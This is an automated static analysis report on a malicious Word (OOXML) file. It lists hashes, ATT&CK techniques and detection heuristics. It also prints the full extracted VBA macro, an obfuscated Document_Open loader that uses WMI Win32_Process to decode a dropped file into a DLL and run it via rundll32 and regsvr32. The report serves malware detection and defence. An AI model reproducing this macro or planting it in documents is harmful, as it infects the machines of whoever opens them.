Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9fc10844ade012b9…

MALICIOUS

Office (OOXML)

88.7 KB Created: 2020-08-11 12:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 14131fed7cc3fe97321d9394c4cd60d2 SHA-1: 1de1c468396b8b730ab1a14045520c00ee4e7892 SHA-256: 9fc10844ade012b9c7db19c6f2826fac55fd498abde41b5d45fdfc18393f3aaf
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a malicious VBA macro. The macro is obfuscated and uses an auto-executing Document_Open subroutine. It attempts to download and execute a second-stage payload, as indicated by the critical heuristics for obfuscated auto-exec loaders and ClamAV detections. The script constructs a path using environment variables, specifically USERPROFILE and APPDATA, to save temporary files.

Heuristics 8

  • ClamAV: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2937 bytes
SHA-256: fc2b4d90d053d00945ee94e8100f55b8d1f3331f8e16cfc83a58bd5de1c457a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private pid
Private strLine As String
Private strLine2 As String
Private DeDir As String
Private SeDir As String
Private IntVar As Long
Private IntVar2 As Long
Private ComName As String
Private widraw

#If VBA7 Then
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal FUNC_ARG_RAND As Long) As Long
#Else
Private Declare Function Sleep Lib "Kernel32" (ByVal FUNC_ARG_RAND As Long) As Long
#End If

Private Sub Document_Open()

Set widraw = GetObject(ChrW(119) + ChrW(105) + ChrW(110) + ChrW(109) + ChrW(103) + ChrW(109) + ChrW(116) + ChrW(115) + ChrW(58) + ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) + ChrW(50) + ChrW(95) + ChrW(80) + ChrW(114) + ChrW(111) + ChrW(99) + ChrW(101) + ChrW(115) + ChrW(115))

ComName = ChrW(67) + ChrW(79) + ChrW(77) + ChrW(80) + ChrW(85) + ChrW(84) + ChrW(69) + ChrW(82) + ChrW(78) + ChrW(65) + ChrW(77) + ChrW(69)

strLine = Environ$("USERPROFILE") + "\ddd"

DeDir = ""
SeDir = ""

strLine2 = Environ$(ChrW(65) + ChrW(80) + ChrW(80) + ChrW(68) + ChrW(65) + ChrW(84) + ChrW(65)) + "\" + Environ$(ComName) + "\" + Environ$(ComName)

ActiveDocument.SaveAs2 FileName:=strLine + ".doc", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic
ActiveDocument.SaveAs2 FileName:=strLine + ".xls", FileFormat:=wdFormatText, ReadOnlyRecommended:=False
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, ReadOnlyRecommended:=False
widraw.create Right(ThisDocument.DefaultTargetFrame + " -decode ", 17) + strLine + ChrW(46) + ChrW(120) + ChrW(108) + ChrW(115) + " " + strLine + ".dll", Null, Null, processid
ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText
Do While DeDir = "" Or IntVar > 10
    DeDir = Dir(strLine & ".dll")
    Sleep 1000: IntVar = IntVar + 1
Loop
If Not Dir(strLine & ".dll") = "" Then
    widraw.create Right("cc85g78c89f799bcafb88a9eggebc6fag87rundll32 ", 9) + strLine & ".dll,EntryPoint", Null, Null, threadride
End If

ActiveDocument.SaveAs2 FileName:=strLine + ".pub", FileFormat:=wdFormatText, ReadOnlyRecommended:=False

Do While SeDir = "" Or IntVar2 > 10
    SeDir = Dir(strLine2 & ".dll")
    Sleep 1000: IntVar2 = IntVar2 + 1
Loop
If Not Dir(strLine2 & ".dll") = "" Then
    widraw.create Right("77af76cfbff5f98ffb6g57agaga88876fbgregsvr32 /si ", 13) + strLine2 & ".dll", Null, Null, threadride
End If

ActiveDocument.SaveAs2 FileName:=strLine + ".doc", FileFormat:=wdFormatText, Encoding:=msoEncodingEBCDICIcelandic

End Sub

Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 636bb4ea30f77cc9b4650be4f6ea8ca60a2e1a9199bd6963f5ef0f8789f977b2
Detection
ClamAV: Doc.Downloader.Mrof-9369686-0
Obfuscation or payload: unlikely